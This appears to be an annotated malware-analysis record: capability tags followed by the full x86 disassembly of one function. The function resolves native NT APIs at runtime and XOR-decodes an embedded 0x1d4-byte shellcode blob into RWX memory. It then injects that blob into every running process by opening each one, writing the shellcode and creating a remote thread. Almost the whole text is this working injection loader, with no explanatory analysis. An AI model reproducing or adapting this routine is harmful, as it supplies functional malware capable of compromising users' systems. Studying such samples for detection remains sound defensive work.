Function at 0x401000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Link many functions at runtime
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xac
push ebx
push esi
push edi
push str.NtOpenProcess
lea eax, [esp + 0x84]
push eax
call dword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov ebx, dword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea eax, [esp + 0x78]
push 0x402028
push eax
call ebx
mov edi, dword [sym.imp.ntdll.dll_LdrLoadDll]
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x7c]
mov dword [esp + 0x28], 0
push eax
push 0
push 0
call edi
mov esi, dword [sym.imp.ntdll.dll_LdrGetProcedureAddress]
lea eax, [esp + 0x44]
push eax
push 0
lea eax, [esp + 0x88]
mov dword [esp + 0x4c], 0
push eax
push dword [esp + 0x30]
call esi
push str.NtWriteVirtualMemory
lea eax, [esp + 0x94]
push eax
call dword [sym.imp.ntdll.dll_RtlInitAnsiString]
push 0x402028
lea eax, [esp + 0x8c]
push eax
call ebx
lea eax, [esp + 0x28]
mov dword [esp + 0x28], 0
push eax
lea eax, [esp + 0x8c]
push eax
push 0
push 0
call edi
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0
push eax
push 0
lea eax, [esp + 0x98]
push eax
push dword [esp + 0x34]
call esi
push str.NtQuerySystemInformation
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.ntdll.dll_RtlInitAnsiString]
push 0x402028
lea eax, [esp + 0x50]
push eax
call ebx
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0
push eax
lea eax, [esp + 0x50]
push eax
push 0
push 0
call edi
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0
push eax
push 0
lea eax, [esp + 0x60]
push eax
push dword [esp + 0x20]
call esi
push str.NtAllocateVirtualMemory
lea eax, [esp + 0xa4]
push eax
call dword [sym.imp.ntdll.dll_RtlInitAnsiString]
push 0x402028
lea eax, [esp + 0x9c]
push eax
call ebx
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], 0
push eax
lea eax, [esp + 0x9c]
push eax
push 0
push 0
call edi
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0
push eax
push 0
lea eax, [esp + 0xa8]
push eax
push dword [esp + 0x38]
call esi
push str.NtCreateThreadEx
lea eax, [esp + 0xb4]
push eax
call dword [sym.imp.ntdll.dll_RtlInitAnsiString]
push 0x402028
lea eax, [esp + 0xac]
push eax
call ebx
lea eax, [esp + 0x30]
mov dword [esp + 0x30], 0
push eax
lea eax, [esp + 0xac]
push eax
push 0
push 0
call edi
lea eax, [esp + 0x40]
mov dword [esp + 0x40], 0
push eax
push 0
lea eax, [esp + 0xb8]
push eax
push dword [esp + 0x3c]
call esi
mov edi, dword [esp + 0x1c]
lea eax, [esp + 0x54]
push 0x40
push 0x3000
push eax
push 0
lea eax, [esp + 0x44]
mov dword [esp + 0x64], 0x400
push eax
push 0xffffffffffffffff
call edi
push 0
push 0x1d4
push 0x4020b0
push dword [esp + 0x40]
push 0xffffffffffffffff
call dword [esp + 0x34]
mov ebx, dword [esp + 0x34]
xor eax, eax
movaps xmm2, xmmword [0x402290]
nop word [eax + eax]
movups xmm0, xmmword [ebx + eax]
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [ebx + eax], xmm0
movups xmm0, xmmword [ebx + eax + 0x10]
pxor xmm1, xmm0
movups xmmword [ebx + eax + 0x10], xmm1
add eax, 0x20
cmp eax, 0x1bf
jle 0x401220
cmp eax, 0x1d4
jg 0x40125c
nop
xor byte [eax + ebx], 0xc7
inc eax
cmp eax, 0x1d4
jle 0x401250
mov esi, dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 5
mov dword [esp + 0x28], 0
call esi
mov eax, dword [esp + 0x18]
push 4
push 0x3000
mov dword [esp + 0x44], eax
lea eax, [esp + 0x44]
push eax
push 0
lea eax, [esp + 0x48]
mov dword [esp + 0x48], 0
push eax
push 0xffffffffffffffff
call edi
mov edi, dword [esp + 0x38]
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x40]
push edi
push 5
call esi
test eax, eax
jne 0x4013ad
mov esi, dword [esp + 0x40]
nop word [eax + eax]
xorps xmm0, xmm0
movq qword [esp + 0x4c], xmm0
mov eax, dword [edi + 0x44]
mov dword [esp + 0x4c], eax
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0x64]
mov dword [esp + 0x64], 0x18
push eax
push 0x1fffff
lea eax, [esp + 0x1c]
mov dword [esp + 0x70], 0
push eax
mov dword [esp + 0x78], 0
mov dword [esp + 0x7c], 0
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0
mov dword [esp + 0x20], 0
call dword [esp + 0x54]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4013a0
push 0x40
push 0x3000
lea ecx, [esp + 0x60]
mov dword [esp + 0x1c], 0
push ecx
push 0
lea ecx, [esp + 0x24]
mov dword [esp + 0x68], 0x3e8
push ecx
push eax
call dword [esp + 0x34]
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4013a0
push 0
push 0x1d4
push ebx
push eax
push dword [esp + 0x20]
call dword [esp + 0x34]
push 0
push 0
push 0
push 0
push 0
push 0
push dword [esp + 0x2c]
lea eax, [esp + 0x64]
mov dword [esp + 0x64], 0
push dword [esp + 0x2c]
push 0
push 0x20000000
push eax
call esi
cmp dword [esp + 0x48], 0
jne 0x4013ad
mov eax, dword [edi]
test eax, eax
je 0x4013ad
add edi, eax
jmp 0x4012c0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret